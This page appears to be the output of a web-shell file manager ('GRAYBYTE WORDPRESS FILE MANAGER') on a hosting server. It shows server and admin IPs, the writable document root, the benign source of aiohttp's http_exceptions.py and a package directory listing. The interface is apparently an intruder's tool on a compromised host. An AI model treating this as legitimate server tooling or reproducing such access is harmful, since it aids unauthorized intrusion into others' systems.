$75 GRAYBYTE WORDPRESS FILE MANAGER $14

SERVER : premium201.web-hosting.com #1 SMP Wed Mar 26 12:08:09 UTC 2025
SERVER IP : 104.21.15.130 | ADMIN IP 216.73.216.174
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : NONE

/opt/cloudlinux/venv/lib/python3.11/site-packages/aiohttp/

HOME
Current File : /opt/cloudlinux/venv/lib/python3.11/site-packages/aiohttp//http_exceptions.py
"""Low-level http related exceptions."""


from textwrap import indent
from typing import Optional, Union

from .typedefs import _CIMultiDict

__all__ = ("HttpProcessingError",)


class HttpProcessingError(Exception):
    """HTTP error.

    Shortcut for raising HTTP errors with custom code, message and headers.

    code: HTTP Error code.
    message: (optional) Error message.
    headers: (optional) Headers to be sent in response, a list of pairs
    """

    code = 0
    message = ""
    headers = None

    def __init__(
        self,
        *,
        code: Optional[int] = None,
        message: str = "",
        headers: Optional[_CIMultiDict] = None,
    ) -> None:
        if code is not None:
            self.code = code
        self.headers = headers
        self.message = message

    def __str__(self) -> str:
        msg = indent(self.message, "  ")
        return f"{self.code}, message:\n{msg}"

    def __repr__(self) -> str:
        return f"<{self.__class__.__name__}: {self.code}, message={self.message!r}>"


class BadHttpMessage(HttpProcessingError):

    code = 400
    message = "Bad Request"

    def __init__(self, message: str, *, headers: Optional[_CIMultiDict] = None) -> None:
        super().__init__(message=message, headers=headers)
        self.args = (message,)


class HttpBadRequest(BadHttpMessage):

    code = 400
    message = "Bad Request"


class PayloadEncodingError(BadHttpMessage):
    """Base class for payload errors"""


class ContentEncodingError(PayloadEncodingError):
    """Content encoding error."""


class TransferEncodingError(PayloadEncodingError):
    """transfer encoding error."""


class ContentLengthError(PayloadEncodingError):
    """Not enough data for satisfy content length header."""


class LineTooLong(BadHttpMessage):
    def __init__(
        self, line: str, limit: str = "Unknown", actual_size: str = "Unknown"
    ) -> None:
        super().__init__(
            f"Got more than {limit} bytes ({actual_size}) when reading {line}."
        )
        self.args = (line, limit, actual_size)


class InvalidHeader(BadHttpMessage):
    def __init__(self, hdr: Union[bytes, str]) -> None:
        hdr_s = hdr.decode(errors="backslashreplace") if isinstance(hdr, bytes) else hdr
        super().__init__(f"Invalid HTTP header: {hdr!r}")
        self.hdr = hdr_s
        self.args = (hdr,)


class BadStatusLine(BadHttpMessage):
    def __init__(self, line: str = "", error: Optional[str] = None) -> None:
        if not isinstance(line, str):
            line = repr(line)
        super().__init__(error or f"Bad status line {line!r}")
        self.args = (line,)
        self.line = line


class InvalidURLError(BadHttpMessage):
    pass


Current_dir [ NOT WRITEABLE ] Document_root [ WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
9 Apr 2026 8.31 AM
root / root
0755
.hash
--
11 Feb 2026 9.30 AM
root / root
0755
__pycache__
--
11 Feb 2026 9.33 AM
root / root
0755
__init__.py
7.58 KB
20 Jan 2026 1.01 PM
root / root
0644
_cparser.pxd
4.217 KB
20 Jan 2026 1.01 PM
root / root
0644
_find_header.pxd
0.066 KB
20 Jan 2026 1.01 PM
root / root
0644
_headers.pxi
1.96 KB
20 Jan 2026 1.01 PM
root / root
0644
_helpers.cpython-311-x86_64-linux-gnu.so
86.008 KB
20 Jan 2026 1.18 PM
root / root
0755
_helpers.pyi
0.197 KB
20 Jan 2026 1.01 PM
root / root
0644
_helpers.pyx
1.024 KB
20 Jan 2026 1.01 PM
root / root
0644
_http_parser.cpython-311-x86_64-linux-gnu.so
569.594 KB
20 Jan 2026 1.18 PM
root / root
0755
_http_parser.pyx
27.4 KB
20 Jan 2026 1.01 PM
root / root
0644
_http_writer.cpython-311-x86_64-linux-gnu.so
75.008 KB
20 Jan 2026 1.18 PM
root / root
0755
_http_writer.pyx
4.468 KB
20 Jan 2026 1.01 PM
root / root
0644
_websocket.cpython-311-x86_64-linux-gnu.so
53.367 KB
20 Jan 2026 1.18 PM
root / root
0755
_websocket.pyx
1.524 KB
20 Jan 2026 1.01 PM
root / root
0644
abc.py
5.371 KB
20 Jan 2026 1.01 PM
root / root
0644
base_protocol.py
2.677 KB
20 Jan 2026 1.01 PM
root / root
0644
client.py
46.168 KB
20 Jan 2026 1.01 PM
root / root
0644
client_exceptions.py
9.19 KB
20 Jan 2026 1.01 PM
root / root
0644
client_proto.py
8.448 KB
20 Jan 2026 1.01 PM
root / root
0644
client_reqrep.py
38.75 KB
20 Jan 2026 1.01 PM
root / root
0644
client_ws.py
10.752 KB
20 Jan 2026 1.01 PM
root / root
0644
compression_utils.py
4.897 KB
20 Jan 2026 1.01 PM
root / root
0644
connector.py
51.561 KB
20 Jan 2026 1.01 PM
root / root
0644
cookiejar.py
13.687 KB
20 Jan 2026 1.01 PM
root / root
0644
formdata.py
5.963 KB
20 Jan 2026 1.01 PM
root / root
0644
hdrs.py
4.505 KB
20 Jan 2026 1.01 PM
root / root
0644
helpers.py
29.546 KB
20 Jan 2026 1.01 PM
root / root
0644
http.py
1.799 KB
20 Jan 2026 1.01 PM
root / root
0644
http_exceptions.py
2.652 KB
20 Jan 2026 1.01 PM
root / root
0644
http_parser.py
34.664 KB
20 Jan 2026 1.01 PM
root / root
0644
http_websocket.py
26.09 KB
20 Jan 2026 1.01 PM
root / root
0644
http_writer.py
5.794 KB
20 Jan 2026 1.01 PM
root / root
0644
locks.py
1.109 KB
20 Jan 2026 1.01 PM
root / root
0644
log.py
0.317 KB
20 Jan 2026 1.01 PM
root / root
0644
multipart.py
31.711 KB
20 Jan 2026 1.01 PM
root / root
0644
payload.py
13.225 KB
20 Jan 2026 1.01 PM
root / root
0644
payload_streamer.py
2.038 KB
20 Jan 2026 1.01 PM
root / root
0644
py.typed
0.007 KB
20 Jan 2026 1.01 PM
root / root
0644
pytest_plugin.py
11.333 KB
20 Jan 2026 1.01 PM
root / root
0644
resolver.py
4.951 KB
20 Jan 2026 1.01 PM
root / root
0644
streams.py
20.348 KB
20 Jan 2026 1.01 PM
root / root
0644
tcp_helpers.py
0.938 KB
20 Jan 2026 1.01 PM
root / root
0644
test_utils.py
19.712 KB
20 Jan 2026 1.01 PM
root / root
0644
tracing.py
14.777 KB
20 Jan 2026 1.01 PM
root / root
0644
typedefs.py
1.437 KB
20 Jan 2026 1.01 PM
root / root
0644
web.py
18.812 KB
20 Jan 2026 1.01 PM
root / root
0644
web_app.py
17.882 KB
20 Jan 2026 1.01 PM
root / root
0644
web_exceptions.py
10.117 KB
20 Jan 2026 1.01 PM
root / root
0644
web_fileresponse.py
11.148 KB
20 Jan 2026 1.01 PM
root / root
0644
web_log.py
7.618 KB
20 Jan 2026 1.01 PM
root / root
0644
web_middlewares.py
3.938 KB
20 Jan 2026 1.01 PM
root / root
0644
web_protocol.py
22.504 KB
20 Jan 2026 1.01 PM
root / root
0644
web_request.py
28.082 KB
20 Jan 2026 1.01 PM
root / root
0644
web_response.py
27.079 KB
20 Jan 2026 1.01 PM
root / root
0644
web_routedef.py
5.988 KB
20 Jan 2026 1.01 PM
root / root
0644
web_runner.py
11.461 KB
20 Jan 2026 1.01 PM
root / root
0644
web_server.py
2.526 KB
20 Jan 2026 1.01 PM
root / root
0644
web_urldispatcher.py
39.118 KB
20 Jan 2026 1.01 PM
root / root
0644
web_ws.py
18.21 KB
20 Jan 2026 1.01 PM
root / root
0644
worker.py
7.778 KB
20 Jan 2026 1.01 PM
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025 CONTACT ME
Static GIF